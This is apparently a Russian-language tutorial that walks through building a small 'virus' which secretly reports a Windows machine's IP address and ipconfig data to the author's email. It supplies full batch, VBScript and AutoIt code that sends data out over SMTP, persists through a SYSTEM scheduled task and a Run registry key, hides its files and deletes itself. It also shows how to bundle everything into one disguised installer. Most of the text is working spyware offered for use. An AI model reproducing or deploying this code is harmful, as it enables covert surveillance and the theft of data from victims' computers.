В этой статье будет описываться несколько способов как можно сделать вирус который будет отправлять Ip адрес при каждом запуске системы Windows,или через определённое время.
Начнём с простого батинка,создаём текстовый документ (txt),открываем и пишем туда следующие:
@echo off blat.exe -install -server smtp.yandex.ru -port 587 -f логин@yandex.ru -u логин -pw пароль ipconfig /all > ip.txt blat.exe ip.txt -to логин@yandex.ru del /s /q ip.txt exit cls
Вносим свои данные,сохраняем как ips.bat,компилируем в exe при помощи Bat to exe converter (скачать) и создаём ещё один текстовый документ (txt),открываем и пишем в него следующие:
@echo off attrib +a +s +r +h %systemroot%\miwich schtasks /tr %systemroot%\miwich\ips.exe /ru "System" /sc hourly /mo 5 /tn Windk /f start %systemroot%\miwich\ips.exe exit cls
Сохраняем как slide.bat и компилируем в exe
Далее берём компоненты программы Blat,можете скачать с офф сайта http://www.blat.net/ или с нашего сервера (правда в архиве будет один лишний файл от архиватора rar.exe),собираем всё файлы в кучу,а именно:
Компоненты Blat: blat.exe,blat.dll,blat.lib.
Батинки компилированные в exe: ips.exe и slide.exe
И склеиваем в один исполянемый файл,при помощи Smart Install Maker (как это сделать можете прочитать здесь) на выполнение ставим slide.exe,путь выгрузки всех файлов назначаем %WindowsDir%\miwich\
Всё вирус готов,он будет отсылать IP адрес и дургую информацию которую даёт команда ipconfig на почту,каждые 5 часов.
Правда данная команда не всегда показывает истинный IP адрес и за чистую по адресу пришедшему с такого батинка не подконектишься,так что это далеко не айс.
Рассмотрим ещё один способ,тоже через бат только вперемешку с vbs скриптом.
И так открываем блокнот и пишем туда следующий код:
On Error Resume Next
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set IPConfigSet = objWMIService.ExecQuery _
("Select * from Win32_NetworkAdapterConfiguration Where IPEnabled=TRUE")
For Each IPConfig in IPConfigSet
If Not IsNull(IPConfig.IPAddress) Then
For i=LBound(IPConfig.IPAddress) to UBound(IPConfig.IPAddress)
ipaddr = ipaddr + " " + IPConfig.IPAddress(i)
Next
End If
Next
Dim Shell
set Shell = WScript.CreateObject ("WSCript.shell")
Shell.run("SendMail /smtpserver smtp.yandex.ru /to логин-кому@yandex.ru /from логин от куда@yandex.ru /subject Message subject /body" + ipaddr + "/user логин /password пароль")Вбиваем свои данные от почтового ящика и сохраняем как sdg.vbs,далее опять открываем блокнот и пишем маленький батинок:
@echo off schtasks /tr %systemroot%\miwich\sdg.vbs /ru "System" /sc hourly /mo 5 /tn Windk /f >nul attrib +s +h +r %systemroot%\miwich >nul start sdg.vbs >nul del "%0" >nul cls
сохраняем под любым именем и с расширением bat, склеиваем sdg.vbs,(ваш батинок,допустим 1.bat) с sendMail.exe (скачать) при помощи Smart Install Maker,на выполнение ставим 1.bat,путь выгрузки %WindowsDir%\miwich\,все через каждые пять часов,вирус будет отсылать два Ip адреса,один внутренний,второй настоящий.
Расмотрим пример написания скрипта с отсылкой ip адреса на почту,по средствам простого скриптового языка AutoIt.
Собственно в нём нету ни чего сложного,скрипт узнаёт IP адрес,проверяет наличие интернета и если такое есть то отправляет его на почтовый ящик указанный в скрипте(где что указывать я написал),так же добавляет себя в автозагрузку и прячет сам себя.
#include <File.au3>
#include <Inet.au3>
#include <Process.au3>
#NoTrayIcon
;Заполнить
$sFile = "IP.txt"
$SmtpServer = "smtp.yandex.ru" ; адрес SMTP сервера
$FromName = "IP-(от кого)" ; пишем имя,любое
$FromAddress = "логин@yandex.ru" ; адрес отправителя
$ToAddress = "логин@yandex.ru" ; адрес получателя
$Subject = "внешний IP" ; тема письма
$AttachFiles = $sFile
$sText=_GetIP()
$CcAddress = ""
$BccAddress = ""
$Importance = "Normal" ; приоритет отсылки письма,другие варианты: "High", "Normal", "Low"
$Username = "логин@yandex.ru" ; имя отправителя
$Password = "пароль" ; пас отпрвителя
$IPPort = 587 ; порт можно 25,ну и так норм отправляет
$ssl = 0
;~ $IPPort=465; GMAIL порт
$sArgument = '/320' ;задержка перед началом работы в 320 секунд
FileSetAttrib ( @ScriptName, "+S+H")
If $CmdLine[0] Then
$iTimer = StringRegExpReplace($CmdLine[1], '[^0-9]', '') * 1000
$iStart = TimerInit()
While TimerDiff($iStart) <= $iTimer
Sleep(250)
WEnd
EndIf
Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance="Normal", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 0)
Local $objEmail = ObjCreate("CDO.Message")
$objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
$objEmail.To = $s_ToAddress
Local $i_Error = 0
Local $i_Error_desciption = ""
If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
$objEmail.Subject = $s_Subject
If StringInStr($as_Body, "<") And StringInStr($as_Body, ">") Then
$objEmail.HTMLBody = $as_Body
Else
$objEmail.Textbody = $as_Body & @CRLF
EndIf
If $s_AttachFiles <> "" Then
Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
For $x = 1 To $S_Files2Attach[0]
$S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x])
;~ ConsoleWrite('@@ Debug : $S_Files2Attach[$x] = ' & $S_Files2Attach[$x] & @LF & '>Error code: ' & @error & @LF) ;### Debug Console
If FileExists($S_Files2Attach[$x]) Then
ConsoleWrite('+> File attachment added: ' & $S_Files2Attach[$x] & @LF)
$objEmail.AddAttachment($S_Files2Attach[$x])
Else
ConsoleWrite('!> File not found to attach: ' & $S_Files2Attach[$x] & @LF)
SetError(1)
Return 0
EndIf
Next
EndIf
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
If Number($IPPort) = 0 then $IPPort = 25
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
;Authenticated SMTP
If $s_Username <> "" Then
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
EndIf
If $ssl Then
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
EndIf
;Update settings
$objEmail.Configuration.Fields.Update
; Set Email Importance
Switch $s_Importance
Case "High"
$objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "High"
Case "Normal"
$objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Normal"
Case "Low"
$objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Low"
EndSwitch
$objEmail.Fields.Update
; Sent the Message
$objEmail.Send
If @error Then
SetError(2)
Return $oMyRet[1]
EndIf
$objEmail=""
EndFunc
_RegRun($sArgument)
$i =0
While $i <= 1
$var = Ping("www.google.com",250)
If @error = 0 Then
$AttachFiles = @ScriptDir & "\IP.txt"
_RunDOS("ipconfig /all >>IP.txt")
_FileWriteLog($AttachFiles, $sText)
Sleep(1000)
_INetSmtpMailCom($SmtpServer,$FromName,$FromAddress,$ToAddress,$Subject,$sText,$AttachFiles,$CcAddress,$BccAddress,$Importance,$Username,$Password,$IPPort,$ssl)
sleep(1000)
FileDelete("IP.txt")
Sleep(1000*60*60) ; вот здесь ставим время в миллисекундах отправки IP и скрина ( в данном скрипте каждую 60 минут,то есть последние цифры отвечают за минуты. )
EndIf
WEnd
Func _RegRun($s_Argument)
Local $sRegRun = 'HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
If Not RegRead($sRegRun, @ScriptName) Or RegRead($sRegRun, @ScriptName) <> @ScriptFullPath & ' ' & $s_Argument Then
RegWrite($sRegRun, @ScriptName, 'REG_SZ', @ScriptFullPath & ' ' & $s_Argument)
EndIf
EndFunc
exitЭтот скрипт компилируется в EXE при помощи компилятора AutoIt,в принципе разберётесь,там ни чего сложного нету.
Компилятор можно скачать на офф сайте http://www.autoitscript.com/,существует ещё уйма способов написание подобных как бы вирусов,ну я думаю мы пока что остановимся на этом.
Спасибо за внимание,всего доброго!






